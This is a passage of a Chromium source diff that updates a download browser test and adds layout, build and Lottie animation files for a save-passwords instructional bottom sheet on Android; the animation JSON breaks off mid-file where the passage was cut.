   base::FilePath file(FILE_PATH_LITERAL("download-test1.lib"));
@@ -5192,9 +5192,9 @@
   EXPECT_TRUE(IsDownloadDetailedUiVisible(download_browser->window()));
 
   // Close the new window.
+  ui_test_utils::BrowserDestroyedObserver observer(download_browser);
   chrome::CloseWindow(download_browser);
-
-  ui_test_utils::WaitForBrowserToClose(download_browser);
+  observer.Wait();
   EXPECT_EQ(first_browser, browser());
   ExpectWindowCountAfterDownload(1);
 
diff --git a/chrome/browser/educational_tip/BUILD.gn b/chrome/browser/educational_tip/BUILD.gn
index 0a01369c..e21afcc4 100644
--- a/chrome/browser/educational_tip/BUILD.gn
+++ b/chrome/browser/educational_tip/BUILD.gn
@@ -25,6 +25,7 @@
     "java/src/org/chromium/chrome/browser/educational_tip/cards/HistorySyncPromoCoordinator.java",
     "java/src/org/chromium/chrome/browser/educational_tip/cards/PasswordCheckupPromoCoordinator.java",
     "java/src/org/chromium/chrome/browser/educational_tip/cards/QuickDeletePromoCoordinator.java",
+    "java/src/org/chromium/chrome/browser/educational_tip/cards/SavePasswordsInstructionalBottomSheetContent.java",
     "java/src/org/chromium/chrome/browser/educational_tip/cards/SavePasswordsPromoCoordinator.java",
     "java/src/org/chromium/chrome/browser/educational_tip/cards/SignInPromoCoordinator.java",
     "java/src/org/chromium/chrome/browser/educational_tip/cards/TabGroupPromoCoordinator.java",
@@ -76,6 +77,7 @@
     "//components/segmentation_platform/public:public_java",
     "//components/signin/public/android:java",
     "//components/sync/android:sync_java",
+    "//third_party/android_deps:com_airbnb_android_lottie_java",
     "//third_party/androidx:androidx_annotation_annotation_java",
     "//ui/android:ui_java",
   ]
@@ -108,6 +110,8 @@
     "java/res/layout/educational_tip_default_browser_bottom_sheet.xml",
     "java/res/layout/educational_tip_module_layout.xml",
     "java/res/layout/educational_tip_module_two_cell_layout.xml",
+    "java/res/layout/save_passwords_instructional_bottom_sheet.xml",
+    "java/res/raw/save_passwords_animation.json",
     "java/res/values-night/colors.xml",
     "java/res/values/colors.xml",
     "java/res/values/dimens.xml",
@@ -135,6 +139,7 @@
     "junit/src/org/chromium/chrome/browser/educational_tip/QuickDeletePromoCoordinatorUnitTest.java",
     "junit/src/org/chromium/chrome/browser/educational_tip/TabGroupPromoCoordinatorUnitTest.java",
     "junit/src/org/chromium/chrome/browser/educational_tip/TabGroupSyncPromoCoordinatorUnitTest.java",
+    "junit/src/org/chromium/chrome/browser/educational_tip/cards/SavePasswordsPromoCoordinatorUnitTest.java",
     "junit/src/org/chromium/chrome/browser/educational_tip/two_cell/EducationalTipModuleTwoCellBuilderUnitTest.java",
     "junit/src/org/chromium/chrome/browser/educational_tip/two_cell/EducationalTipModuleTwoCellCoordinatorUnitTest.java",
     "junit/src/org/chromium/chrome/browser/educational_tip/two_cell/EducationalTipModuleTwoCellViewBinderUnitTest.java",
diff --git a/chrome/browser/educational_tip/java/res/layout/educational_tip_default_browser_bottom_sheet.xml b/chrome/browser/educational_tip/java/res/layout/educational_tip_default_browser_bottom_sheet.xml
index 992a58e3..de80225 100644
--- a/chrome/browser/educational_tip/java/res/layout/educational_tip_default_browser_bottom_sheet.xml
+++ b/chrome/browser/educational_tip/java/res/layout/educational_tip_default_browser_bottom_sheet.xml
@@ -19,7 +19,7 @@
     android:layout_gravity="center_horizontal"
     android:layout_height="@dimen/default_browser_bottom_sheet_drag_handel_bar_height"
     android:layout_marginVertical="@dimen/default_browser_bottom_sheet_drag_handel_bar_margin_vertical"
-    android:layout_width="@dimen/default_browser_bottom_sheet_drag_handel_bar_width"
+    android:layout_width="@dimen/default_browser_bottom_sheet_drag_handle_bar_width"
     android:src="@drawable/drag_handlebar"
     app:tint="@macro/drag_handle_color" />
 
diff --git a/chrome/browser/educational_tip/java/res/layout/save_passwords_instructional_bottom_sheet.xml b/chrome/browser/educational_tip/java/res/layout/save_passwords_instructional_bottom_sheet.xml
new file mode 100644
index 0000000..5a474af
--- /dev/null
+++ b/chrome/browser/educational_tip/java/res/layout/save_passwords_instructional_bottom_sheet.xml
@@ -0,0 +1,165 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+Copyright 2026 The Chromium Authors
+Use of this source code is governed by a BSD-style license that can be
+found in the LICENSE file.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_height="wrap_content"
+    android:layout_width="match_parent"
+    android:orientation="vertical">
+
+<!-- Drag handlebar -->
+<ImageView
+    android:id="@+id/drag_handle_bar"
+    android:importantForAccessibility="no"
+    android:layout_gravity="center_horizontal"
+    android:layout_height="@dimen/default_browser_bottom_sheet_drag_handel_bar_height"
+    android:layout_marginVertical="@dimen/default_browser_bottom_sheet_drag_handel_bar_margin_vertical"
+    android:layout_width="@dimen/default_browser_bottom_sheet_drag_handle_bar_width"
+    android:src="@drawable/drag_handlebar"
+    app:tint="@macro/drag_handle_color" />
+
+  <ScrollView
+      android:layout_width="match_parent"
+      android:layout_height="wrap_content"
+      android:orientation="vertical"
+      android:scrollbars="none">
+    <LinearLayout
+        android:id="@+id/scroll_view"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="vertical"
+        android:paddingLeft="@dimen/default_browser_bottom_sheet_scroll_view_padding_lateral"
+        android:paddingRight="@dimen/default_browser_bottom_sheet_scroll_view_padding_lateral"
+        android:clickable="true"
+        android:focusable="true">
+
+      <com.airbnb.lottie.LottieAnimationView
+          android:id="@+id/instructional_animation"
+          android:layout_width="match_parent"
+          android:layout_height="wrap_content"
+          android:minHeight="@dimen/save_passwords_instructional_bottom_sheet_animation_height"
+          android:layout_marginTop="@dimen/default_browser_bottom_sheet_icon_container_margin_top"
+          android:layout_gravity="center_horizontal"
+          android:importantForAccessibility="no"
+          android:scaleType="fitCenter"
+          android:adjustViewBounds="true"
+          app:lottie_autoPlay="true"
+          app:lottie_loop="true" />
+
+      <TextView
+          android:id="@+id/title"
+          android:layout_width="match_parent"
+          android:layout_height="wrap_content"
+          android:layout_marginTop="@dimen/default_browser_bottom_sheet_title_margin_top"
+          android:gravity="center_horizontal"
+          android:textAppearance="@style/TextAppearance.Headline.Primary" />
+
+    <LinearLayout
+        android:id="@+id/steps_container"
+        android:layout_height="wrap_content"
+        android:layout_width="match_parent"
+        android:layout_marginTop="@dimen/default_browser_bottom_sheet_steps_container_margin_top"
+        android:orientation="vertical"
+        android:focusable="true">
+      <!-- Step 1 -->
+      <LinearLayout
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"
+          android:gravity="center_vertical"
+          android:paddingTop="@dimen/save_passwords_instructional_bottom_sheet_step_vertical_padding"
+          android:paddingBottom="@dimen/save_passwords_instructional_bottom_sheet_step_vertical_padding"
+          android:orientation="horizontal">
+        <TextView
+            android:layout_width="@dimen/default_browser_bottom_sheet_step_number_width"
+            android:layout_height="@dimen/default_browser_bottom_sheet_step_number_width"
+            android:background="@drawable/default_browser_promo_bottom_sheet_circle_background"
+            android:gravity="center"
+            android:includeFontPadding="false"
+            tools:ignore="HardcodedText"
+            android:text="1"
+            android:textAppearance="@style/TextAppearance.TextAccentMediumThick.Primary" />
+        <TextView
+            android:id="@+id/step_1_content"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_marginStart="@dimen/default_browser_bottom_sheet_step_content_margin_start"
+            android:textAppearance="@style/TextAppearance.TextMedium.Primary"
+            android:textAlignment="viewStart"
+            android:focusable="false" />
+      </LinearLayout>
+      <!-- Step 2 -->
+      <LinearLayout
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"
+          android:gravity="center_vertical"
+          android:paddingTop="@dimen/save_passwords_instructional_bottom_sheet_step_vertical_padding"
+          android:paddingBottom="@dimen/save_passwords_instructional_bottom_sheet_step_vertical_padding"
+          android:orientation="horizontal">
+        <TextView
+            android:layout_width="@dimen/default_browser_bottom_sheet_step_number_width"
+            android:layout_height="@dimen/default_browser_bottom_sheet_step_number_width"
+            android:background="@drawable/default_browser_promo_bottom_sheet_circle_background"
+            android:gravity="center"
+            android:includeFontPadding="false"
+            tools:ignore="HardcodedText"
+            android:text="2"
+            android:textAppearance="@style/TextAppearance.TextAccentMediumThick.Primary" />
+        <TextView
+            android:id="@+id/step_2_content"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_marginStart="@dimen/default_browser_bottom_sheet_step_content_margin_start"
+            android:textAppearance="@style/TextAppearance.TextMedium.Primary"
+            android:textAlignment="viewStart"
+            android:focusable="false" />
+      </LinearLayout>
+      <!-- Step 3 -->
+      <LinearLayout
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"
+          android:gravity="center_vertical"
+          android:paddingTop="@dimen/save_passwords_instructional_bottom_sheet_step_vertical_padding"
+          android:paddingBottom="@dimen/save_passwords_instructional_bottom_sheet_step_vertical_padding"
+          android:orientation="horizontal">
+        <TextView
+            android:layout_width="@dimen/default_browser_bottom_sheet_step_number_width"
+            android:layout_height="@dimen/default_browser_bottom_sheet_step_number_width"
+            android:background="@drawable/default_browser_promo_bottom_sheet_circle_background"
+            android:gravity="center"
+            android:includeFontPadding="false"
+            tools:ignore="HardcodedText"
+            android:text="3"
+            android:textAppearance="@style/TextAppearance.TextAccentMediumThick.Primary" />
+        <TextView
+            android:id="@+id/step_3_content"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_marginStart="@dimen/default_browser_bottom_sheet_step_content_margin_start"
+            android:textAppearance="@style/TextAppearance.TextMedium.Primary"
+            android:textAlignment="viewStart"
+            android:focusable="false" />
+      </LinearLayout>
+    </LinearLayout>
+
+      <org.chromium.ui.widget.ButtonCompat
+          android:id="@+id/button"
+          style="@style/FilledButton"
+          android:layout_width="match_parent"
+          android:layout_height="wrap_content"
+          android:layout_marginTop="@dimen/default_browser_bottom_sheet_button_margin_top"
+          android:layout_marginBottom="@dimen/default_browser_bottom_sheet_button_margin_bottom"
+          android:gravity="center"
+          android:singleLine="true" />
+   </LinearLayout>
+  </ScrollView>
+
+  <View
+      android:layout_width="match_parent"
+      android:layout_height="1dp"
+      android:background="?android:attr/listDivider" />
+</LinearLayout>
diff --git a/chrome/browser/educational_tip/java/res/raw/save_passwords_animation.json b/chrome/browser/educational_tip/java/res/raw/save_passwords_animation.json
new file mode 100644
index 0000000..7f5ff11
--- /dev/null
+++ b/chrome/browser/educational_tip/java/res/raw/save_passwords_animation.json
@@ -0,0 +1 @@
+{"v":"5.9.6","fr":30,"ip":0,"op":180,"w":401,"h":295,"nm":"save password motion","ddd":0,"assets":[],"layers":[{"ddd":0,"ind":1,"ty":4,"nm":"UPM icon","parent":5,"sr":1,"ks":{"o":{"a":1,"k":[{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":160,"s":[100]},{"t":164,"s":[0]}],"ix":11},"r":{"a":0,"k":0,"ix":10},"p":{"a":0,"k":[-96.488,9.247,0],"ix":2,"l":2},"a":{"a":0,"k":[0,0,0],"ix":1,"l":2},"s":{"a":0,"k":[110,110,100],"ix":6,"l":2}},"ao":0,"shapes":[{"ty":"gr","it":[{"ind":0,"ty":"sh","ix":1,"ks":{"a":0,"k":{"i":[[0,0],[0,0],[0,0],[0,0]],"o":[[0,0],[0,0],[0,0],[0,0]],"v":[[15.583,-2.125],[7.083,-2.125],[7.083,2.125],[15.583,2.125]],"c":true},"ix":2},"nm":"Path 1","mn":"ADBE Vector Shape - Group","hd":false},{"ty":"fl","c":{"a":0,"k":[0.0941176489,0.501960813999,0.219607844949,1],"ix":4},"o":{"a":0,"k":100,"ix":5},"r":1,"bm":0,"nm":"Fill 1","mn":"ADBE Vector Graphic - Fill","hd":false},{"ty":"tr","p":{"a":0,"k":[0,0],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Group 1","np":2,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false},{"ty":"gr","it":[{"ind":0,"ty":"sh","ix":1,"ks":{"a":0,"k":{"i":[[0,0],[0,0],[0,0],[0,0],[0.783,0],[0,-0.783],[0,0],[0,0],[0,0]],"o":[[0,0],[0,0],[0,0],[0,-0.783],[-0.783,0],[0,0],[0,0],[0,0],[0,0]],"v":[[15.583,1.771],[15.583,6.375],[12.75,6.375],[12.75,4.958],[11.333,3.542],[9.916,4.958],[9.916,6.375],[7.083,6.375],[7.083,1.771]],"c":true},"ix":2},"nm":"Path 1","mn":"ADBE Vector Shape - Group","hd":false},{"ty":"fl","c":{"a":0,"k":[0.203921571374,0.658823549747,0.32549020648,1],"ix":4},"o":{"a":0,"k":100,"ix":5},"r":1,"bm":0,"nm":"Fill 1","mn":"ADBE Vector Graphic - Fill","hd":false},{"ty":"tr","p":{"a":0,"k":[0,0],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Group 2","np":2,"cix":2,"bm":0,"ix":2,"mn":"ADBE Vector Group","hd":false},{"ty":"gr","it":[{"ind":0,"ty":"sh","ix":1,"ks":{"a":0,"k":{"i":[[0.193,0.676],[0,0],[0,0],[0,-0.793],[0.443,-0.591],[0,0],[0,0],[0,0.737]],"o":[[0,0],[0,0],[0.443,0.591],[0,0.793],[0,0],[0,0],[0.191,-0.676],[0,-0.737]],"v":[[-0.297,-2.125],[-4.958,-2.125],[-4.958,-2.116],[-4.25,0],[-4.958,2.116],[-4.958,2.125],[-0.297,2.125],[0,0]],"c":true},"ix":2},"nm":"Path 1","mn":"ADBE Vector Shape - Group","hd":false},{"ty":"fl","c":{"a":0,"k":[0.917647063732,0.262745112181,0.207843139768,1],"ix":4},"o":{"a":0,"k":100,"ix":5},"r":1,"bm":0,"nm":"Fill 1","mn":"ADBE Vector Graphic - Fill","hd":false},{"ty":"tr","p":{"a":0,"k":[0,0],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Group 3","np":2,"cix":2,"bm":0,"ix":3,"mn":"ADBE Vector Group","hd":false},{"ty":"gr","it":[{"ind":0,"ty":"sh","ix":1,"ks":{"a":0,"k":{"i":[[0,0],[0,0],[0,0],[0,0]],"o":[[0,0],[0,0],[0,0],[0,0]],"v":[[7.437,-2.125],[-0.354,-2.125],[-0.354,2.125],[7.437,2.125]],"c":true},"ix":2},"nm":"Path 1","mn":"ADBE Vector Shape - Group","hd":false},{"ty":"fl","c":{"a":0,"k":[0.984313726425,0.737254917622,0.015686275437,1],"ix":4},"o":{"a":0,"k":100,"ix":5},"r":1,"bm":0,"nm":"Fill 1","mn":"ADBE Vector Graphic - Fill","hd":false},{"ty":"tr","p":{"a":0,"k":[0,0],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Group 4","np":2,"cix":2,"bm":0,"ix":4,"mn":"ADBE Vector Group","hd":false},{"ty":"gr","it":[{"ind":0,"ty":"sh","ix":1,"ks":{"a":0,"k":{"i":[[0,0],[1.307,0],[0,1.953],[-1.953,0],[-0.613,-1.057],[0,0],[3.687,0],[0,-4.296],[-4.296,0],[-0.804,3.446]],"o":[[-0.613,1.057],[-1.953,0],[0,-1.953],[1.307,0],[0,0],[-0.804,-3.446],[-4.296,0],[0,4.296],[3.687,0],[0,0]],"v":[[-4.73,1.771],[-7.791,3.542],[-11.333,0],[-7.791,-3.542],[-4.73,-1.771],[-0.205,-1.771],[-7.791,-7.792],[-15.583,0],[-7.791,7.792],[-0.205,1.771]],"c":true},"ix":2},"nm":"Path 1","mn":"ADBE Vector Shape - Group","hd":false},{"ty":"fl","c":{"a":0,"k":[0.258823543787,0.521568655968,0.956862747669,1],"ix":4},"o":{"a":0,"k":100,"ix":5},"r":1,"bm":0,"nm":"Fill 1","mn":"ADBE Vector Graphic - Fill","hd":false},{"ty":"tr","p":{"a":0,"k":[0,0],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Group 5","np":2,"cix":2,"bm":0,"ix":5,"mn":"ADBE Vector Group","hd":false}],"ip":81,"op":160,"st":-11,"ct":1,"bm":0},{"ddd":0,"ind":2,"ty":4,"nm":"check","parent":5,"sr":1,"ks":{"o":{"a":1,"k":[{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":160,"s":[100]},{"t":164,"s":[0]}],"ix":11},"r":{"a":0,"k":0,"ix":10},"p":{"a":0,"k":[100.512,9.261,0],"ix":2,"l":2},"a":{"a":0,"k":[0,0,0],"ix":1,"l":2},"s":{"a":1,"k":[{"i":{"x":[0,0,0],"y":[1,1,1]},"o":{"x":[0.2,0.2,0.2],"y":[0,0,0]},"t":105,"s":[145,145,100]},{"i":{"x":[0,0,0],"y":[1,1,1]},"o":{"x":[0.001,0.001,0.001],"y":[0,0,0]},"t":114,"s":[255,255,100]},{"i":{"x":[0,0,0],"y":[1,1,1]},"o":{"x":[0.2,0.2,0.2],"y":[0,0,0]},"t":116,"s":[255,255,100]},{"t":126,"s":[145,145,100]}],"ix":6,"l":2}},"ao":0,"shapes":[{"ty":"gr","it":[{"ind":0,"ty":"sh","ix":1,"ks":{"a":0,"k":{"i":[[0,0],[0,0],[0,0],[0,0],[0,0],[0,0]],"o":[[0,0],[0,0],[0,0],[0,0],[0,0],[0,0]],"v":[[-2.45,6],[-8.15,0.3],[-6.725,-1.125],[-2.45,3.15],[6.725,-6.025],[8.15,-4.6]],"c":true},"ix":2},"nm":"Path 1","mn":"ADBE Vector Shape - Group","hd":false},{"ty":"fl","c":{"a":0,"k":[0.298039227724,0.552941203117,0.964705884457,1],"ix":4},"o":{"a":0,"k":100,"ix":5},"r":1,"bm":0,"nm":"Fill 1","mn":"ADBE Vector Graphic - Fill","hd":false},{"ty":"tr","p":{"a":0,"k":[0,0],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Group 1","np":2,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false}],"ip":81,"op":160,"st":-11,"ct":1,"bm":0},{"ddd":0,"ind":3,"ty":4,"nm":"tap inksplash stroke","sr":1,"ks":{"o":{"a":1,"k":[{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":110,"s":[100]},{"t":119,"s":[0]}],"ix":11},"r":{"a":0,"k":0,"ix":10},"p":{"a":0,"k":[300.738,154.484,0],"ix":2,"l":2},"a":{"a":0,"k":[101.238,-7.016,0],"ix":1,"l":2},"s":{"a":1,"k":[{"i":{"x":[0.833,0.833,0.833],"y":[0.833,0.833,0.833]},"o":{"x":[0.167,0.167,0.167],"y":[0.167,0.167,0.167]},"t":105,"s":[49,49,100]},{"t":119,"s":[420.598,420.598,100]}],"ix":6,"l":2}},"ao":0,"shapes":[{"ty":"gr","it":[{"d":1,"ty":"el","s":{"a":0,"k":[35.207,35.207],"ix":2},"p":{"a":0,"k":[0,0],"ix":3},"nm":"Ellipse Path 1","mn":"ADBE Vector Shape - Ellipse","hd":false},{"ty":"st","c":{"a":0,"k":[0.827450980392,0.890196078431,0.992156862745,1],"ix":3},"o":{"a":0,"k":100,"ix":4},"w":{"a":0,"k":1,"ix":5},"lc":1,"lj":1,"ml":4,"bm":0,"nm":"Stroke 1","mn":"ADBE Vector Graphic - Stroke","hd":false},{"ty":"tr","p":{"a":0,"k":[101.238,-7.016],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Ellipse 1","np":3,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false}],"ip":105,"op":144,"st":-19,"ct":1,"bm":0},{"ddd":0,"ind":4,"ty":4,"nm":"tap inksplash","sr":1,"ks":{"o":{"a":1,"k":[{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":110,"s":[100]},{"t":116,"s":[0]}],"ix":11},"r":{"a":0,"k":0,"ix":10},"p":{"a":0,"k":[300.738,154.484,0],"ix":2,"l":2},"a":{"a":0,"k":[101.238,-7.016,0],"ix":1,"l":2},"s":{"a":1,"k":[{"i":{"x":[0.833,0.833,0.833],"y":[0.833,0.833,0.833]},"o":{"x":[0.167,0.167,0.167],"y":[0.167,0.167,0.167]},"t":105,"s":[49,49,100]},{"t":119,"s":[420.598,420.598,100]}],"ix":6,"l":2}},"ao":0,"shapes":[{"ty":"gr","it":[{"d":1,"ty":"el","s":{"a":0,"k":[35.207,35.207],"ix":2},"p":{"a":0,"k":[0,0],"ix":3},"nm":"Ellipse Path 1","mn":"ADBE Vector Shape - Ellipse","hd":false},{"ty":"gf","o":{"a":0,"k":100,"ix":10},"r":1,"bm":0,"g":{"p":3,"k":{"a":0,"k":[0.551,0.827,0.89,0.992,0.776,0.914,0.945,0.996,1,1,1,1],"ix":9}},"s":{"a":0,"k":[0.09,0.127],"ix":5},"e":{"a":0,"k":[18.301,0],"ix":6},"t":2,"h":{"a":0,"k":0,"ix":7},"a":{"a":0,"k":0,"ix":8},"nm":"Gradient Fill 1","mn":"ADBE Vector Graphic - G-Fill","hd":false},{"ty":"tr","p":{"a":0,"k":[101.238,-7.016],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Ellipse 1","np":3,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false}],"ip":105,"op":221,"st":-19,"ct":1,"bm":0},{"ddd":0,"ind":5,"ty":4,"nm":"toast shape","sr":1,"ks":{"o":{"a":1,"k":[{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":160,"s":[100]},{"t":164,"s":[0]}],"ix":11},"r":{"a":0,"k":0,"ix":10},"p":{"a":1,"k":[{"i":{"x":0.667,"y":1},"o":{"x":0.167,"y":0.167},"t":81,"s":[226.454,115.5,0],"to":[0,0,0],"ti":[0,0,0]},{"i":{"x":0,"y":1},"o":{"x":0.333,"y":0},"t":87.752,"s":[226.454,197.428,0],"to":[0,0,0],"ti":[0,0,0]},{"t":101,"s":[226.454,174.5,0]}],"ix":2,"l":2},"a":{"a":0,"k":[26.512,28.24,0],"ix":1,"l":2},"s":{"a":0,"k":[100,100,100],"ix":6,"l":2}},"ao":0,"shapes":[{"ty":"gr","it":[{"ty":"rc","d":1,"s":{"a":0,"k":[253.115,54.254],"ix":2},"p":{"a":0,"k":[0,0],"ix":3},"r":{"a":0,"k":10,"ix":4},"nm":"Rectangle Path 1","mn":"ADBE Vector Shape - Rect","hd":false},{"ty":"fl","c":{"a":0,"k":[1,1,1,1],"ix":4},"o":{"a":0,"k":100,"ix":5},"r":1,"bm":0,"nm":"Fill 1","mn":"ADBE Vector Graphic - Fill","hd":false},{"ty":"tr","p":{"a":0,"k":[0.058,9.627],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Rectangle 1","np":3,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false}],"ip":80,"op":160,"st":-19,"ct":1,"bm":0},{"ddd":0,"ind":6,"ty":4,"nm":"toast shape shadow","sr":1,"ks":{"o":{"a":1,"k":[{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":160,"s":[100]},{"t":161,"s":[0]}],"ix":11},"r":{"a":0,"k":0,"ix":10},"p":{"a":1,"k":[{"i":{"x":0.667,"y":1},"o":{"x":0.167,"y":0.167},"t":81,"s":[226.454,115.5,0],"to":[0,0,0],"ti":[0,0,0]},{"i":{"x":0,"y":1},"o":{"x":0.333,"y":0},"t":87.752,"s":[226.454,197.428,0],"to":[0,0,0],"ti":[0,0,0]},{"t":101,"s":[226.454,174.5,0]}],"ix":2,"l":2},"a":{"a":0,"k":[26.512,28.24,0],"ix":1,"l":2},"s":{"a":0,"k":[100,100,100],"ix":6,"l":2}},"ao":0,"ef":[{"ty":29,"nm":"Gaussian Blur","np":5,"mn":"ADBE Gaussian Blur 2","ix":1,"en":1,"ef":[{"ty":0,"nm":"Blurriness","mn":"ADBE Gaussian Blur 2-0001","ix":1,"v":{"a":0,"k":6.9,"ix":1}},{"ty":7,"nm":"Blur Dimensions","mn":"ADBE Gaussian Blur 2-0002","ix":2,"v":{"a":0,"k":1,"ix":2}},{"ty":7,"nm":"Repeat Edge Pixels","mn":"ADBE Gaussian Blur 2-0003","ix":3,"v":{"a":0,"k":0,"ix":3}}]}],"shapes":[{"ty":"gr","it":[{"ty":"rc","d":1,"s":{"a":0,"k":[253.115,54.254],"ix":2},"p":{"a":0,"k":[0,0],"ix":3},"r":{"a":0,"k":10,"ix":4},"nm":"Rectangle Path 1","mn":"ADBE Vector Shape - Rect","hd":false},{"ty":"fl","c":{"a":0,"k":[0.622840073529,0.622840073529,0.622840073529,1],"ix":4},"o":{"a":0,"k":100,"ix":5},"r":1,"bm":0,"nm":"Fill 1","mn":"ADBE Vector Graphic - Fill","hd":false},{"ty":"tr","p":{"a":0,"k":[0.058,9.627],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Rectangle 1","np":3,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false}],"ip":80,"op":160,"st":-19,"ct":1,"bm":0},{"ddd":0,"ind":7,"ty":4,"nm":"mail icon","sr":1,"ks":{"o":{"a":0,"k":100,"ix":11},"r":{"a":0,"k":0,"ix":10},"p":{"a":0,"k":[91.5,199.5,0],"ix":2,"l":2},"a":{"a":0,"k":[0,0,0],"ix":1,"l":2},"s":{"a":0,"k":[100,100,100],"ix":6,"l":2}},"ao":0,"shapes":[{"ty":"gr","it":[{"ind":0,"ty":"sh","ix":1,"ks":{"a":0,"k":{"i":[[0,0],[0.4,0.383],[0,0.55],[0,0],[-0.383,0.383],[-0.55,0],[0,0],[-0.383,-0.4],[0,-0.55],[0,0],[0.4,-0.4],[0.55,0]],"o":[[-0.55,0],[-0.383,-0.4],[0,0],[0,-0.55],[0.4,-0.4],[0,0],[0.55,0],[0.4,0.383],[0,0],[0,0.55],[-0.383,0.383],[0,0]],"v":[[-8,8],[-9.425,7.425],[-10,6],[-10,-6],[-9.425,-7.4],[-8,-8],[8,-8],[9.4,-7.4],[10,-6],[10,6],[9.4,7.425],[8,8]],"c":true},"ix":2},"nm":"Path 1","mn":"ADBE Vector Shape - Group","hd":false},{"ind":1,"ty":"sh","ix":2,"ks":{"a":0,"k":{"i":[[0,0],[0,0],[0,0],[0,0],[0,0]],"o":[[0,0],[0,0],[0,0],[0,0],[0,0]],"v":[[0,1],[-8,-4],[-8,6],[8,6],[8,-4]],"c":true},"ix":2},"nm":"Path 2","mn":"ADBE Vector Shape - Group","hd":false},{"ind":2,"ty":"sh","ix":3,"ks":{"a":0,"k":{"i":[[0,0],[0,0],[0,0]],"o":[[0,0],[0,0],[0,0]],"v":[[0,-1],[8,-6],[-8,-6]],"c":true},"ix":2},"nm":"Path 3","mn":"ADBE Vector Shape - Group","hd":false},{"ind":3,"ty":"sh","ix":4,"ks":{"a":0,"k":{"i":[[0,0],[0,0],[0,0],[0,0]],"o":[[0,0],[0,0],[0,0],[0,0]],"v":[[-8,-4],[-8,-6],[-8,-4],[-8,6]],"c":true},"ix":2},"nm":"Path 4","mn":"ADBE Vector Shape - Group","hd":false},{"ty":"fl","c":{"a":0,"k":[0.062745098039,0.352941176471,0.819607902976,1],"ix":4},"o":{"a":0,"k":100,"ix":5},"r":1,"bm":0,"nm":"Fill 1","mn":"ADBE Vector Graphic - 